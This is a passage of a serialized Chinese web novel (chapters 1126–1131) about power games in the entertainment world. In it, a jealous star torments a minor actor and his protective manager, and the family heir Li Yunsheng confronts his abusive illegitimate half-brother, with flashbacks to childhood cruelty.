当初他不温不火的时候经纪人哪里为他想过?早把他扔到犄角旮旯,直到他提及自己要找金主对方才高看他几眼,后来知道他跟了人一定会红才一直开始负责照顾他的。 此刻,这经纪人他躬身的弧度更低,仿佛要将脊梁折断,只为博取那丝飘渺的宽恕。 成唯却不再看他,目光如蛇信舔舐猎物般,转而盯向跪地颤抖的小明星。胸腔内,妒火悄然燎原。 嫉妒如毒藤缠绞心脏。他想,若自己当初也有这般忠诚的经纪人……不,不会的,他嗤笑自己。 若他当初不学会在黎远航面前伏低做小,若他没有用身体换来资源,若他没有将尊严碾碎成尘土……如今,他仍是那个蜷缩在犄角旮旯的十八线蝼蚁,连被黎远航“养狗”的资格都没有。 记忆如腐液漫溢。 成唯想起自己的经纪人在他落魄时的嘴脸,那是一张涂满鄙夷的面具,只会将他推向金主的床榻。 经纪人将他的简历递给油腻的中年男人时,连眼皮都不曾眨动。 他记得自己跪在酒店地毯上呕吐,记得金主用钞票拍他脸颊的羞辱,记得经纪人直到他傍上黎远航后才谄媚地唤他“成哥”,仿佛他们曾共患难。 可事实呢?真正遭难的只有他成唯。 面上自己的经纪人低头喊一句成哥,可背地里谁知道经纪人是不是像小明星一样嘲讽他只是黎远航脚边的一条狗呢? 他可没有这样好的经纪人。 成唯眯眼凝视小明星那蜷缩的身影。他蠢笨如稚子,却拥有那经纪人全心全意的庇护。 “你这蠢货……”成唯忽地冷笑出声,烟头逼近小明星发颤的耳畔,“有个好经纪人,倒是你的福气。” 凭什么?凭什么这蠢货能有人为他肝脑涂地,而他只能将灵魂贱卖给权贵,换取那虚伪的“庇护”? 若他当初也有这样的经纪人……不,或许会更惨——他太清楚娱乐圈的法则,忠诚在资本面前不过是可笑的泡沫。 “滚吧。”他终是甩袖转身,烟头在夜色中拖曳一道猩红的尾痕。 妒意与扭曲在心底绞噬,他却享受这痛楚,至少此刻,他仍握着生杀大权,仍能看着蝼蚁在他脚下跪伏。 而那小明星,即便拥有再好的经纪人,终究不过是待宰的羔羊。 第1126章 滚吧 成唯的目光如淬毒的匕首,刺向小明星那张惶惶不安的面庞。 他胸腔内翻涌的妒火已烧至喉间,舌尖舔过唇角,竟生出几分病态的畅快。 凭什么?凭什么这蠢货能有人如盾牌般护其周全,而他成唯却必须将血肉之躯化作刀刃,在权贵的獠牙间厮杀求生? 这世道的不公如荆棘缠缚心脏,他忽地冷笑出声,锋锐的视线转而锁住那满头冷汗的经纪人。 “我给你个机会。”成唯的语调如蛇信探穴,烟头猩红的光点在他齿间闪烁,“来做我的经纪人。你肯不肯?” 成唯看着小明星,他知道自己在不爽,不爽的原因是小明星能有人一直护着,而他却只能靠自己。 这世界凭什么这么不公平? 怎么就不能给他个为自己劳心劳力的经纪人。 所以他此刻说的不是敢不敢,而是肯不肯。 小明星霎时面色煞白,瞳孔骤缩如受惊的幼兽。他有些惊慌失措,怎么成唯还跟他抢经纪人了? 他踉跄后退半步,狗狗般的眼眸盈满惶惑。 成唯的经纪人已是业内呼风唤雨的王牌,怎会突兀地觊觎自己这无名小卒的“护盾”? 停了自己的资源还不够?抢了封面资源还不够,现在连经纪人都要抢了吗? 这步步紧逼的绞杀,如暴雨倾轧,令他窒息。 他攥住经纪人衣袖的指尖发颤,仿佛那布料是他唯一的浮木。 他是真的担心自己的经纪人觉得自己没出息不打算管自己,睁着一双狗狗眼去看经纪人。 经纪人满头冷汗干笑了一声。 “成哥您就别为难我了,我哪里配当您的经纪人啊,而且…您的经纪人是业内有名的王牌经纪人,我是不配比的。” 他暗自咬牙,掌心掐入肉里。 成唯的经纪人绝非善茬,若他真敢应承,明日便会被撕成碎片。 且这蠢笨的小明星若失了庇护,恐沦为权贵宴上的玩物,如成唯这般……不,更惨,或许连攀附权贵的资格都没有。 成唯嗤笑出声,烟灰溅落如血屑。 他忆起昔日被经纪人如垃圾般弃置的场景,那人只会冷嗤:“不红就滚,别浪费我时间。”直至他傍上黎远航,那人才谄笑舔来,捧他如珍宝。而眼前这经纪人,却为小明星剖心献祭高奢资源,甚至今夜冒险带他来攀人脉。 这样的忠诚,他成唯何曾拥有? “玩笑?”他忽地逼近,指尖捏住经纪人下颌,力道狠戾如碾碎骨节,“我成唯从不开玩笑。”妒意与扭曲在眼底绞噬,他近乎癫狂地低语,“你带他,能保他一世?若他今夜被某位二代瞧中,你还能护得住?”他甩袖指向厅内喧嚣的权贵群,笑声森冷,“他若是被二代们看中,以他的性子,只会尸骨无存,你不会以为你真的能护住他吧。” 小明星惊恐地攥紧经纪人衣袖,颤抖如风中残叶。 他不知成唯的恶意为何至此,狗狗眼中涌出泪光,他无声乞求,不希望自己的经纪人抛弃自己放弃自己。 经纪人脊梁几欲折断,却终是挤出更谄媚的笑。 这笑已非面具,而是求生本能。 “成哥……您这是折煞我了……”他躬身的弧度近乎跪伏,喉间挤出黏腻的辞藻,“我愚钝无知,只会拖累您。您那位王牌经纪人手段通天,我才配不上您这尊佛……” “而且,他相貌不比成哥,哪里有人看得上他呢,他是不配跟成哥你比的。” 都说出这样的话了,成唯还能作何反应? 其实说白了,经纪人就是担心自己的艺人变成成唯这样。 变成成唯这样还是比较好的结局,像他的艺人,没有成唯的颜值,那些少爷说不定玩玩就送人了。 经纪人又是迟疑踌躇的,成唯自然明白经纪人做了什么选择。 对方是聪明人,知道自己的经纪人是个混蛋,不敢招惹,另外也是担心他带着的小艺人在他走了以后没活路。 真可笑啊,偏偏没有人为他考虑这么多。 成唯眸光幽深的轻笑一声,他看着小明星:“你倒是运气不错。” “滚吧。”成唯走到小明星身边,一脚把人踹开。 经纪人僵立在廊下,冷汗浸透衣襟。 成唯那句“滚吧”如利刃悬颈,他竟生出几分侥幸,这疯子终究未再逼迫。 小明星蜷在墙角,衣衫皱乱如残叶,狗狗眼盈满惊惧。 经纪人疾步拽他起身,掌心发颤。 这孩子尚不知,方才成唯的“放过”不过是权贵戏台上的幕间歇,真正的绞杀,往往在无人窥视的暗处蛰伏。 他暗自咬牙,这圈子里的血色法则,他必须教会小明星看清。 成唯踏入黎远航院落的身影,如飞蛾扑向烛火。 经纪人余光掠过门缝,看到黎远航斜倚金丝绒榻,指尖勾着酒壶,酒液猩红、琥珀、莹白混杂,泼入成唯杯中。 是黎远航随便挑的酒,什么红的白的黄的都调到一起去了。 他当然不在意成唯喝完之后是什么反应,因为成唯在他眼里就只是条狗。 这条狗比情人重要,但其实也没那么重要。 就算这条狗真的死了,黎远航这种人大概也只会掉几滴鳄鱼的眼泪。 “成唯,你回来的倒是快。”黎远航的笑音浸着酒气,黏腻如蛇涎。 他仰头灌酒看着黎远航笑,辛辣混浆在胃里翻涌,可他眼底竟无半分痛色,只余驯犬的卑顺。 经纪人喉头哽塞。 这场景他见过太多,权贵将艺人视为玩物,酒是驯兽的鞭,笑是绞索的绳。 成唯的经纪人能在这泥潭中攀至王牌,正因他深知如何将艺人化作利刃,或是弃刃。 而此刻,成唯既是刃,亦是砧板上的肉。 门缝里的光影扭曲如噩梦。 黎远航忽地拽成唯的头发,酒水泼到他的脸上:“听说你今日在外头闹了脾气?呵,是谁欺负了我的狗?那么不长眼睛的?” 成唯舌尖舔去酒渍,整个人都显得很温顺:“不是什么大事,只是我看那人不顺眼训斥了几句。” 其实成唯并不是多心软的人,可大抵真的是看在经纪人的面子上,放过了小明星一马,没有提及小明星说的那些嘲讽他的话。 他心里清楚,一旦让黎远航知道这些,黎远航是绝对不会放过小明星的。 第1127章 封杀令撤销 经纪人也没想过成唯会给小明星一条生路,整个人眼睛此刻都是酸的。 酸涩在经纪人胸腔胀裂。 他忆起成唯方才的癫笑,妒火灼心的模样,恍如两重魂魄,在外是噬人的毒蛇,在内却是被权贵鞭笞的病犬。 这扭曲的生存之道,成唯走得比谁都狠,却也比谁都痛。 可同情?他哪有资格。 他不过也是泥潭中的蝼蚁,唯能护住自己这株幼芽。 小明星拽他衣袖,惶声如蚊:“他们……他们在做什么?” 经纪人掩住他的眼睛,喉间挤出谎言:“没什么,不过是寻常应酬。” 可那谎言如薄纸,遮不住门内嘶吼的酒浪与黎远航戏谑的笑声。 他深知,若小明星踏入这院落,可能会尸骨无存。 成唯的今日,便是许多人的明日。 经纪人看到黎远航忽地将空壶砸向成唯,瓷碎声刺耳。 而成唯却俯身拾碎片,指尖渗血,酒液却再度灌入喉间。 那自虐般的驯顺,让经纪人掌心掐得更深,他护小明星,是为责任,是为未来;而成唯的卑躬,却是为了苟活于权贵的獠牙间。 酸涩终凝为自嘲。 他何尝不是在用谄笑与献祭,为小明星搏一线生机? 只是成唯的“献祭”更血腥,剖的是自己的尊严,饲的是权贵的恶欲。 这圈子里的生存,原都是血色交易,不过筹码不同,痛楚同烈。 “走。”他拽小明星疾退数步,廊风拂散门缝光影。 院内醉嚎与鞭笑渐远,他却不敢喘息。 小明星的惶惑尚未褪去,他只得反复低语:“以后……再不带你来这种场合。” 毁掉一个艺人,只需权贵一夜的欢谑,而他,必须将这幼芽藏在安全的光影里。 以后不带他来参加这种场合了。 真出了事,一辈子就毁了。 经纪人拽着小明星疾步欲离,转身刹那,身后骤然凝滞的冷气压如冰刃抵颈。 他僵在原地,瞳孔骤缩,迎面立着的高大男人,西装革履如霜雪雕琢,眉宇间凛冽的冷意似千年寒冰,眼底凉薄的光刃剜过每一寸空气,仅一个眼神便令血脉凝滞。 那人气质如孤峰峭壁,浑身散发着拒人于千里之外的寒意,仿佛连呼吸都会冻结。 经纪人刹那间生出错觉,仿佛坠入冰窖,寒意从脊骨窜至发梢。 这般英俊的相貌,棱角分明如刀刻,冷峻中透着矜贵。 难道是娱乐圈新出圈的男演员? 可念头刚起便自己否定了,这般气度绝非娱乐圈的浮华所能孕育。 他惶惶打量,那人衣着华贵却不张扬,西装剪裁完美贴合身躯,袖扣隐现暗纹,每一处细节都透露出权贵的矜持。 更骇人的是,那相貌与黎远航竟有几分相似! 不,确切说是黎远航与他相似。 经纪人喉头哽塞,冷汗再度浸透后背,黎家老宅,此刻能随意出现于此,衣着这般……唯有那位传说中冷酷寡言的继承人,黎云笙! “黎……黎少……” 看看,正常人都能一眼瞧出来黎云笙跟小明星的区别,当时也只有成唯没看出来。 他踉跄后退,膝盖几欲软折。 传闻黎云笙手段雷霆,掌权黎氏集团后便鲜少露面,却无人敢忘其威慑。如今直面,那寒意竟比传闻更甚。 小明星被这气场震慑,缩在经纪人身后发抖,狗狗眼盈满惊恐,却不敢出声。 黎云笙微微垂眸,目光如寒刃掠过小明星。 那眼神毫无温度,仿佛审视蝼蚁,却又透着不屑。 他薄唇轻启,声线冷如碎冰:“黎远航的人?”语调淡然,却暗含威压,仿佛一句问询便是判决。 “不、不是的,黎少!我们只是……只是来拓展人脉,这孩子绝不是黎远航的人,也不是任何少爷的……” 经纪人语无伦次地摆手,冷汗在额角凝成珠滴一点点的滑落。 他深知黎云笙的威慑力。 经纪人不是傻子,在圈子里有些人脉,知道黎远航是黎家的私生子,黎云笙才是黎家真正的嫡系继承人。 且黎云笙一直都跟黎远航不和。 传闻中这位继承人手段如寒刃,对黎远航的荒唐行径早已不满。 若他误会小明星与黎远航有牵扯,恐引火烧身。 小明星缩在他身后发抖,狗狗眼惶惶望着那如冰峰般的背影,连呼吸都屏住。 黎云笙却似未将蝼蚁的辩解放在心上。 他拂袖转身,冷峻背影如霜刃没入暗处,仅留下一道寒意蚀骨的残影。 经纪人踉跄逃窜,拽着小明星狂奔至停车场,直至车门紧闭,引擎轰鸣,他才敢喘息。 掌心掐入肉里的痛感提醒他,方才那一眼过去,黎云笙没有理会他们两人,或许已经暂免死劫,但黎云笙与黎远航的暗涌,绝非他们能淌的浑水。 车内空调的冷风未能褪去脊背的冷汗。 经纪人怔怔望着后视镜中渐远的黎家老宅,暗忖黎云笙为何此刻现身。 传闻他与黎远航势如水火,莫非……?念头刚起便被他掐灭。 这些权贵的博弈,他们蝼蚁卷入便是粉身碎骨。 正惶惶间,手机骤响,制片人亢奋的声音炸耳。 “小高啊,你是怎么办的,这封杀令都才出来呢,怎么马上就撤销了?你怎么办到的?” “这封杀令可是成唯放出来的,成唯这人睚眦必报的性子我们都是最清楚的,这才多久就让成唯回心转意了?” “你到底用的什么办法,我是真佩服你了!” 经纪人喉头哽塞,脑中轰然炸响。 封杀令撤销?成唯怎么会? 他方才还当众羞辱小明星,抢经纪人未遂,此刻却突然……莫非与黎家兄弟有关? 冷汗再度浸透,他强挤笑音:“哈哈,运气好罢了,碰巧遇到个……有位前辈替我们说了几句话。”谎言如薄纸,但他不敢透露黎云笙,更不敢提黎远航,若让制片人知晓他们与黎家纠葛,恐引更多腥风。 “前辈?”制片人语调陡升,“圈内哪位大佬?你倒是藏得深!成唯人脉圈广得吓人,那群二代都为他出头,像墨澜那种有红色背景的都不惧,你这前辈莫非比墨家更……”话音戛然而止,似意识到失言,却已足够经纪人心跳骤停。 第1128章 轮得到你一个二代欺辱了 制片人权利肯定比成唯大,但坏就坏在成唯人脉圈广啊,成唯认识那么多人,背后全都是那群二代,说起来,那群二代就没有好招惹的。 这群二代知道谁欺负了成唯或者得罪了成唯,那群二代都会为成唯出头的。 所以成唯在圈子里嚣张很少有人能制住成唯。 像墨澜,墨澜是因为家里面有红色背景,曾经有二代觉得他“欺负”了成唯还绑架过墨澜,这之后就逼得二代家的长辈出面亲自去墨家道歉。 墨家也不是吃素的。 墨澜是最小的,谁都宠着的,轮得到你一个二代欺辱了? “墨澜啊……”经纪人喃喃。 成唯人脉虽广,那群二代确为他撑腰,可若遇墨家这般红色雷霆,权势便如纸糊。 墨澜的身份非权贵二代能及。成唯的势力再滔天,在真正的权柄面前,不过是浪花。 “小高,你这次真是救星!”制片人语调激动,“你那前辈肯为小明星出头,以后资源绝对滚滚来!快透露下,是哪位大佬?”经纪人干笑想敷衍过去,纸片人却又苦口婆心道:“你对你这小艺人是真的已经不错了,为他做这坐那的,有谁像你这样好脾性的。” “不过你也该让这小明星聪明点了,以后可千万要小心点,这次成唯这边撤了封杀令,可以后再得罪他,成唯还能做出什么事来,那我们可就真不清楚了,你自己心里也清楚,成唯不是我们能得罪得起的。” 制片人这话也算是在劝了。 挂断电话。他望着窗外飞逝的街景,惶惑更深,封杀令撤销,究竟是黎云笙的威慑,还是黎远航的权柄? 成唯……那条疯狗,怎会突然收爪? 小明星蜷在后座,惶声如蚊:“哥,我以后还会被成唯针对吗?” 经纪人喉头苦涩,抚他发顶:“没事,以后……不会有事了。” 他暗自咬牙,必须让这孩子远离这些弯弯绕绕。黎家的暗涌、成唯的疯戾、墨家的雷霆,每一处皆是深渊。 他这蝼蚁,唯有将小明星藏于安全裂隙,方能苟活。 如果可以,他希望能让小明星接触到墨澜,只要跟墨澜交好,就算真的有人想对他出手也要看在墨澜的面子上仔细掂量掂量了。 小明星不知道经纪人处处为自己考虑,此刻只觉得经纪人对自己实在是很好。 他是真觉得自己的经纪人是这世界上最好的经纪人了。 经纪人看着小明星内心叹了口气,小明星整个人都还慌着呢,就听见经纪人问了。 “你想不想去《灵媒》剧组。”经纪人忽然开口,声线低沉却透着笃定。 小明星人都在此刻傻了,瞪圆了狗狗眼。 他怔怔望着经纪人,喉头哽塞,半晌才挤出颤音:“啊?《灵媒》剧组?我吗?”尾音上扬,满是不敢置信。 车内空调的冷风拂过他泛红的鼻尖,掌心无意识地绞着衣角。 “啊?《灵媒》剧组?我吗?”小明星很想说我配吗?喉间那句“我配吗”几乎要脱口而出,却在触及经纪人凝重的眼神时咽了回去。他嘴唇翕动,脑中乱如麻。 最近不是要入组那部校园偶像剧吗?不是要当男二号吗?怎会突然转到《灵媒》? 这部争议极大的剧组,传闻导演秦扬帆严苛,男主角墨澜更是……他眼底闪过一抹惶惶的兴奋,却又被现实的忐忑压了下去。 经纪人苦口婆心开口劝道:“《灵媒》剧组现在虽然争议很大,但男主角是墨澜,导演是秦扬帆,只要是这两个人,那整部剧就一定会有保障,而且最主要的是墨澜身份特殊。” 他指尖在方向盘上无意识地敲着节奏,眉峰微蹙,似在回忆那些传闻。 小明星瞳孔倏然放大,墨澜的名字如惊雷劈入耳畔。 “墨澜的身份,你总该听说过。”经纪人睨他一眼。小明星慌忙点头,泪眼婆娑的模样却让经纪人眼底掠过一丝嫌弃。 他深知这孩子心性单纯,若无人护翼,早晚会成为权贵绞杀下的碎屑。 “当初成唯被墨澜压得那么惨你当成唯没想过报复,是因为没办法报复,墨澜的背景深厚,就算是黎家对上墨家也要掂量掂量,黎远航在娱乐圈那么嚣张,但遇到墨澜也还是只能退让的地步。”他语调渐厉,仿佛要将那些血腥的权力博弈剖开给小明星看。 经纪人忽地拧他手臂,力道不重,却如惊雷:“你去了剧组一定要跟墨澜搞好关系,只要跟墨澜搞好关系,圈子里很多二代都不敢再动你。”小明星瑟缩着点头。 经纪人确实一直为小明星着想了,只要小明星真的听他话,那几乎就不会出问题。 他望着这孩子泪眼婆娑的模样,心底却泛起一丝无奈,这圈子里,眼泪是最廉价的筹码,唯有攀附真正的权柄,方能苟活。 小明星此刻却似被他的话点燃了希望,泪眼竟渐渐泛起晶亮,如星子坠入泪潭。他攥紧经纪人衣袖,颤声问:“哥,我去《灵媒》演什么角色啊,我能跟墨澜老师一起搭什么角色啊。” 小明星觉得自己现在就有点怂了,那毕竟是墨澜,墨澜的身份摆在那里了,不是谁都能凑上去的。 他指尖发颤,仿佛墨澜的名字是烫金的烙铁,碰之即伤。 经纪人轻笑一声:“不是什么大角色,男主角身边一直跟着的下属,在剧里面算得上男五号了,出场率不低,角色也算讨喜,算是男主角和女主角之间的阳光开心果角色,真的拍出来应该也会吸一大波粉丝。”他掌心抚上小明星发顶,力道轻柔,似在安抚受惊的小兽。 小明星的狗狗眼倏然晶亮,如夜空中骤亮的星。 男五号?阳光开心果?他脑中浮现那角色设定,嘴角不自觉上扬。 虽然角色小,但若能与墨澜同框,那或许是他蜕变的契机。 他忽地攥紧经纪人手腕,泪光中竟透出炽热:“哥,我会努力的!我一定不会给你丢脸!” 第1129章 去了剧组,安分守己 “你啊,去了《灵媒》剧组安分些,不要再惹是生非了,我也不是每一次都能及时救你的。”经纪人喉头苦涩,眼底却泛起一丝欣慰。 经纪人此刻眉峰紧蹙,眼底的忧虑如墨渍在宣纸上蔓延。 他指尖无意识地摩挲着车座边缘,皮革的纹路在他掌心留下细微的灼痕。 “一定,一定不要招惹墨澜,就算不能搞好关系也绝对不能背后说墨澜的坏话,听到没有。”他语调陡然凌厉。 小明星慌忙点头,经纪人却仍觉不安,这孩子心性单纯如稚兔,若再如之前般口无遮拦,墨澜那等权贵…… “哥,我知道的,墨澜老师和成唯不一样。”小明星忽地开口,声线透着倔强。 他蜷在座椅上的脊背悄然挺直,狗狗眼泛起晶亮的光,仿佛谈论墨澜便能燃起他心底的火。 “我背后吐槽成唯,是因为……”他喉头哽塞,掌心攥成拳,指甲掐入肉里的痛感却让他更清醒,“成唯在粉丝面前最会演戏,暖男模样演得比谁都真,可私下里对我们这些小艺人……” 他眼底泛起冷嘲,“冷嘲热讽,像看垃圾似的。他凭什么?不就是靠黎远航爬上去的吗?” 唾沫星子几乎要溅出,经纪人慌忙抬手示意他噤声,小明星却愈发亢奋,“为了资源做到那地步,给黎远航当狗……不,当宠物!我恶心!真的恶心!” 车内空气骤然凝滞,经纪人喉头滚动,却不敢斥责。 他知道小明星的傲骨,这孩子在泥潭里挣扎,却总想攥住最后一块干净的石头。他忆起那日小明星被成唯当众羞辱,仍梗着脖子不肯低头,眼底的倔火与此刻如出一辙。 “可墨澜不一样。”小明星语调陡转,睫羽沾上泪光却仍昂着头,“墨澜是真正把咱们当人看的。他不是像成唯那样……”他咬唇,寻着最狠的词,“不是像成唯那样把咱们当蝼蚁碾压踩踏。” 他开口声音带着明显的敬重,“他冷是冷,可那冷是世家骨子里的傲,不是成唯那种……” 他绞尽脑汁,“成唯像变色龙,墨澜是冰雪,是……是……”他忽地攥住经纪人衣袖,颤声,“是高山上的雪松!我要是能站在他身边,哪怕只是当个背景板,我都觉得荣耀!” 经纪人怔怔望着他,这孩子眼底的炽光竟让他想起初入圈的自己。 那时的他,也这般仰望权柄,却渐渐在泥潭里磨灭了棱角。 小明星此刻的憧憬,是未被染血的赤诚。 他抚上那发顶,掌心微颤:“你懂就好。墨澜的身份,不是黎远航能比的。成唯靠二代撑腰,可墨家……”他喉头涩然,“军方、政界……连黎家都要避锋芒。你要是能得他青眼,这圈子里的疯狗……”他瞥向窗外,暗指成唯,“再不敢吠你。” 他忽地攥紧经纪人手腕,力道如幼兽护食:“哥,我不会的!我一定不会!我知道该怎么做……”他脑中浮现墨澜的模样,他想起墨澜在颁奖典礼上的姿态,孤傲如鹤立于鸦群,无人敢近。 而他,此刻竟有机会站在那鹤身旁,哪怕只是作为羽翼下的阴影…… “成唯靠的是跪舔权贵,把尊严当鞋底泥蹭掉。”小明星忽地冷笑,指尖掐入掌心,“我就算红不了,也不会做狗。给人当宠物……”他眼底泛起嫌恶,“我宁可饿死。墨澜不一样,他是……”他忽地仰头,泪与笑交织,“他是我偶像!”他笑声渐哑,却透着灼热的坚定。 经纪人喉头苦涩,眼底却泛起一丝欣慰。 这孩子的傲骨,或许真能护他在这血色漩涡里寻得一线生机。 他忆起黎家老宅的血色门缝,成唯的疯戾,黎云笙的寒刃……这圈子的绞杀从未停歇,唯有攀附真正的权柄,方能苟活。 他抚上小明星发顶,力道轻柔如抚幼雏:“记住,去了剧组,安分守己。” 小明星点头如捣蒜。 事实上小明星背后蛐蛐成唯,主要是因为看不上成唯。 因为在他看来,成唯在粉丝面前最会演戏,一副暖男模样,实则在私下里对他们这些小艺人都是冷嘲热讽瞧不上的姿态。 如果成唯真的是靠他自己爬到这位置的,小明星还能高看他一眼,可成唯是靠黎远航爬上去的,甚至为了那些资源做到那地步,小明星觉得恶心,所以才会吐槽。 他是觉得,就算真的给他这个选择,他也不会做出和成唯一样的选择。 想红可以,但起码要有原则。 给人当狗,把自己当做宠物,他做不到。 现在让他接触的是墨澜,墨澜和成唯在他看来是不一样的,墨澜是把他们这些小明星当人看的,可没有像成唯那样瞧不上他们这群十八线小明星,他们是有本质上的区别的。 如果是墨澜,他只会憧憬膜拜的。 所以小明星觉得自己才不会惹墨澜不快,就是有这样的自信呢。 见他这样,经纪人心里好歹放心了,起码自己的艺人不会真的惹了墨澜不快了。 …… 黎远航的私人院落仿若一座被镀金囚笼,鎏金的雕花栏杆在暮色中泛着冷光。 他斜倚在白玉石砌的贵妃榻上,指尖捏着水晶高脚杯,猩红的酒液在杯中晃荡,折射出妖冶的光。 成唯蜷缩在沙发角落,醉意熏染的面颊如熟透的番茄,额角的碎发被冷汗黏成绺,喉间不时溢出含糊的呓语。 黎远航却笑得癫狂,每一声笑都似刀刃刮过玻璃,刺得人耳膜生疼。 他额角的旧伤疤痕在酒精的刺激下泛着诡异的红,仿佛一条蛰伏的蜈蚣,随着他的笑声扭曲蠕动。 “再喝一杯,成唯,这才到哪儿呢?”黎远航忽地倾身,将酒杯硬怼向成唯的唇边。酒液泼溅在对方昂贵的定制西装上,暗色酒渍如毒蛛爬过布料。 成唯挣扎着摇头,却被黎远航一把掐住下颌,喉间被迫灌入辛辣的液体。 他呛咳着蜷得更紧,仿佛要将自己缩进沙发缝隙,逃开那如鬼魅般缠绕的笑声。 周围的跟班们早已醉倒一片,横七竖八的躯体堆叠在地,空酒瓶与零食残渣散落如破碎的星屑,空气中弥漫着浓烈的酒精与呕吐物的腥甜。 院门骤然被推开,金属的吱呀声划破醉醺的混沌。 黎云笙踏入这癫狂之地,玄色西装裹着他修长的身形,如一道劈开混沌的寒刃。 他垂眸扫过满地狼藉,眉峰凝成的冰棱似要将空气冻裂。 那些醉倒的少爷们、瘫软的跟班、以及黎远航那癫笑的脸,在他眼底皆如蝼蚁。 他身后十余名保镖鱼贯而入,黎远航的笑声戛然而止,喉头哽住的笑声化作一声嘶鸣。 第1130章 泼醒他们 看到黎云笙的那一刻,黎远航僵直了脊背,额角的疤痕骤然绷紧,似有千万虫蚁啃噬。 成唯在醉意中模糊抬眼,望见那道寒影,隐隐约约的好像是认出了黎云笙,又像是根本不知道他是谁,整个人都是有些恍惚的状态,似乎是真的醉的厉害。 “泼醒他们。”黎云笙轻启薄唇,声线冰冷。 保镖们动作迅捷如鹰隼,拎起庭院角落的冷水桶便泼向人群。 冰水浇在成唯滚烫的面颊上,激得他猛然抽搐,呛咳声撕破醉意,他本就醉的厉害,此刻被冷水这么一泼,整个人头都开始疼,滚在角落里完全没有什么反应了,或者说是不敢有什么反应了。 那些醉倒的少爷们被冷水激得蜷缩打滚,华服浸透后显出狼狈的底色,一个个的都已经醉的厉害,但以前鬼混也被家里人教训过,所以这会儿似乎都有些蔫吧。 黎远航被水泼了个正着,酒液混着冷水顺着他额角的疤痕蜿蜒而下,那疤痕竟在湿透后泛起诡异的紫,似毒血渗出的痕迹。 他踉跄着要起身,却被两名保镖钳住双臂,动弹不得。 黎云笙缓步踱至黎远航面前,皮鞋碾过一地碎玻璃。 他居高临下俯视着这个私生子,眼底的凉意已经透过他的眼底完全渗出来。 黎远航喉间挤出几声干笑,却如破风箱般沙哑:“阿笙,你怎么来了?” 黎云笙不言,指尖忽地捏住他额角的疤痕,却疼得黎远航惨叫出声。 黎云笙凝视着黎远航额角那道狰狞的伤口,血痂未凝的裂口如一条蠕动的红虫,在对方醉醺的面颊上蜿蜒。 那伤口是黎云笙故意开车别停他的车留下的伤痕,此刻都还没有凝结,那么大一条口子,黎远航也不急着包扎处理就来鬼混,整个人眼底甚至都还透露着几分癫狂的意味儿。 黎远航仍瘫在沙发里,指尖捏着半空的酒瓶,癫笑从喉间漏出,仿佛那伤口不过是孩童划破的玩痕。 黎云笙的眉峰凝成冰棱,眼底的厌恶如淬毒的箭,穿透对方醉意朦胧的瞳孔。这位“哥哥”在他眼中不过是污秽的泥潭,自小便散发着腐坏的腥气。 黎云笙看着面前的这位私生子“哥哥”,其实内心是完全瞧不上的。 黎远航比他大上几岁,但这位自小就对黎云笙暴露出了巨大的恶意,黎远航小学时期就已经开始混了,抽烟喝酒一个不落下,甚至还教黎云笙抽烟喝酒,若不是那时候黎老太太有良心,再加上黎云笙自己心里也有点数,否则黎云笙现在已经被黎远航毁掉了。 他记得十二岁那年的暴雨夜。黎远航将烟卷塞到他手里,烟头灼烫的火星几乎烧穿他稚嫩的掌心。 “试试,云笙,这玩意儿可比糖有意思多了。”十四岁的黎远航笑得猖狂,烟圈从他唇角喷出,熏黑了别墅的雕花屏风。黎云笙攥紧拳头,烟卷在掌中碾碎成灰,烫出的水泡三天后才褪去。 而黎老太太只是淡淡瞥了一眼:“私生子玩闹罢了,阿笙不要跟他学。” 那时他早就明白什么是私生子,他本也看不上私生子的出身,跟黎远航本就没有多少接触,一直都是黎远航凑过来在他耳边嘻嘻索索的笑着。 黎远航喜欢很多东西,从初中开始黎远航就已经开始有了玩闹取乐的对象,像那种校园霸凌事件很多都是黎远航这种人闹出来的。 那时候黎家因为一个黎远航其实风评不怎么好,但黎老太太并没有怎么管,因为黎远航只是个私生子。 不管私生子也能让很多人看到私生子就只是这种品质的人,无论如何跟嫡系血脉是比不了的。 黎远航的恶行自初中便如毒藤疯长。 校园霸凌的传闻总与他沾边,将流浪猫浸入颜料桶,逼弱小的同学吞下混着玻璃渣的饭食,甚至在校庆典礼上泼洒秽物就为了教训自己瞧不上的老师。 黎家因这些丑闻屡登八卦头条,但本就是个私生子,私生子做点什么错事那不是很正常的吗?所以黎老太太其实就没打算管,甚至觉得那些人实在是有些小题大做了。 黎云笙小学时期就已经知道黎远航不是什么好人,所以他小学时期就很厌恶黎远航,如果他知道黎远航胡闹他是一定会管的。 哪怕他看不上黎远航,他都会管,仅仅因为这人也算是黎家人,他在丢黎家的脸对他来说就是丢他的脸。 所以只要他知道黎远航要做什么事,他是一定会制止的,这也是黎云笙会准备带这么多保镖的原因之一,跟黎远航也有很大一部分原因。 所以黎远航对黎云笙其实是有一种恐惧感的,老太太都不管的事情黎云笙会管,黎云笙可不会跟你多说什么废话,直接让保镖动手,黎远航的保镖也都知道黎云笙才是黎家的继承人,所以不会有人敢跟黎云笙动手,这也就导致黎云笙要对黎远航做什么,黎远航是没办法反抗的。 私生子就是私生子,保镖都懂的道理。 但黎远航却好像还有些不懂。 黎云笙每接到校方投诉电话,便带着保镖如寒潮压境。他会扯开黎远航掐在同学脖颈上的手,让保镖将黎远航押起来,而不是让他继续丢脸。 老太太的纵容成了黎远航的护盾。私生子的劣迹不过是“血脉自带的污点”,而嫡子必须如白玉无瑕。这一点黎云笙其实早就知道了,还是黎老太太亲口对他说的,因为私生子越是劣迹斑斑,才能衬得他更加优秀。 黎老太太对黎远航其实算是纵容,也就是因为这样,黎远航越来越嚣张,有时候嚣张到完全忘了他自己到底是个什么身份。 黎云笙在家族宴席上见过黎远航如何挑衅,将红酒泼向他的定制西装,在长辈面前佯装醉酒栽倒,却暗中用指甲刮伤他手背。 那些伤痕总在次日清晨被管家用遮瑕膏掩盖,如同黎家永远不愿撕开的体面假皮。 第1131章 私生子就是私生子 他念初中的时候黎远航就是这么一滩烂泥,他高中时期黎远航就已经开始玩娱乐圈的小明星,这么多年了一直如此,名声都已经烂透了,可黎远航不觉得,还当自己名声在外。 那能是什么好名声? 就像现在,娱乐圈的明星,那些不想被潜规则的,哪个敢跟他沾边都会觉得自己已经脏了。 黎远航的人品多低劣,他见识过,且黎远航不止一次想要拉他一起下泥潭。 黎云笙面色未改,皮鞋碾过残渣,每一步都似踏在黎远航的脊骨上。 他记得十五岁生日那夜,黎远航将迷药混入他的蛋糕,意图在他昏迷时拍摄丑照。保镖们破门而入,黎云笙在迷蒙中仍攥住黎远航的衣领,嗓音浸着冷汗:“你碰我一次,我便断你一根手指。” 